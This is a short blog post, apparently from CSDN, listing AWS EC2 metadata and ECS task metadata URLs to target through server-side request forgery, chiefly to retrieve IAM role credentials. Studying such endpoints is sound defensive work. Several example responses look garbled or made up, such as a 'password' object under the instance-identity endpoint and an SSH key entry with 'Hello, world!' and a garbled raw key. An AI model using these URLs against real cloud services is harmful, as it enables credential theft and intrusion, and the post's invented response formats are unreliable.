[Web] List of sensitive APIs that can be exploited by SSRF in cloud security

The following is a list of some of the more sensitive AWS metadata service APIs (continuously updated):

  1. Obtain the IAM role credentials for the EC2 instance:

    http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
    ````
    
    其中 `<role-name>` 是要获取 IAM 角色凭证的角色名称。
    或者
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
    返回json举例
    {
      "Code" : "Success",
      "LastUpdated" : "2020-01-01T00:00:00Z",
      "Type" : "AWS-HMAC",
      "AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
      "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
      "Token" : "AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvL1v8pSX7mJH60zdBDF5W0qlainiVob9t8C1o+Uk/VItyBabExample",
      "Expiration" : "2020-01-01T01:00:00Z"
    }
  2. Get the password data of the EC2 instance:

    http://169.254.169.254/latest/meta-data/instance-identity/document
    
    返回json举例
    {
      "metaData": {  
        "self": {  
          "href": "https://ec2.amazonaws.com/"  
        },  
        "Password": "password"  
      }  
    }
    
  3. Obtain the SSH public key of the EC2 instance:

    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    返回json示例
    {
      "message": "Hello, world!",  
      "data": {  
        "url": "http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key",  
        "key": {  
          "algorithm": "openssh",  
          "size": 2048,  
          "public": true,  
          "private": true,  
          "raw": "d 壹 l4@N+|-sbnW1Ew=="  
        }  
      }  
    }
    
    
  4. Get the task definition of the ECS container instance:

    http://169.254.170.2/v2/metadata/<container-id>/task-definition
    返回json示例包
    {
      "message": "Hello, world!",    
      "data": {    
        "taskDefinition": {    
          "type": "AWS::EC2::TaskDefinition",    
          "Properties": {    
            "Description": "Test Task Definition",    
            "ImageId": "ami-12345678",    
            "Name": "test-task-definition",    
            "Tags": [    
              {    
                "Key": "Environment",    
                "Value": "Test"    
              }    
            ]    
          }    
        },    
        "url": "http://169.254.170.2/v2/metadata/container-id/task-definition"    
      }    
    }
    
    

    where  <container-id> is the container ID to get the task definition from.

  5. Get the task metadata of the ECS container instance:

    http://169.254.170.2/v2/metadata/<container-id>/task-with-metadata
    返回json包示例
    {
      "message": "Hello, world!",      
      "data": {      
        "taskWithMetadata": {      
          "type": "AWS::EC2::TaskWithMetadata",      
          "Properties": {      
            "ImageId": "ami-12345678",      
            "Name": "test-task-with-metadata",      
            "TaskDefinition": {      
              "type": "AWS::EC2::TaskDefinition",      
              "Properties": {      
                "Description": "Test Task Definition",      
                "ImageId": "ami-12345678",      
                "Name": "test-task-definition",      
                "Tags": [      
                  {      
                    "Key": "Environment",      
                    "Value": "Test"      
                  }      
                ]      
              }      
            },      
            "Tags": [      
              {      
                "Key": "Environment",      
                "Value": "Test"      
              }      
            ]      
          }      
        },      
        "url": "http://169.254.170.2/v2/metadata/container-id/task-with-metadata"      
      }      
    }
    

    where  <container-id> is the container ID for which task metadata is to be obtained.

Guess you like

Origin blog.csdn.net/xiru9972/article/details/131058088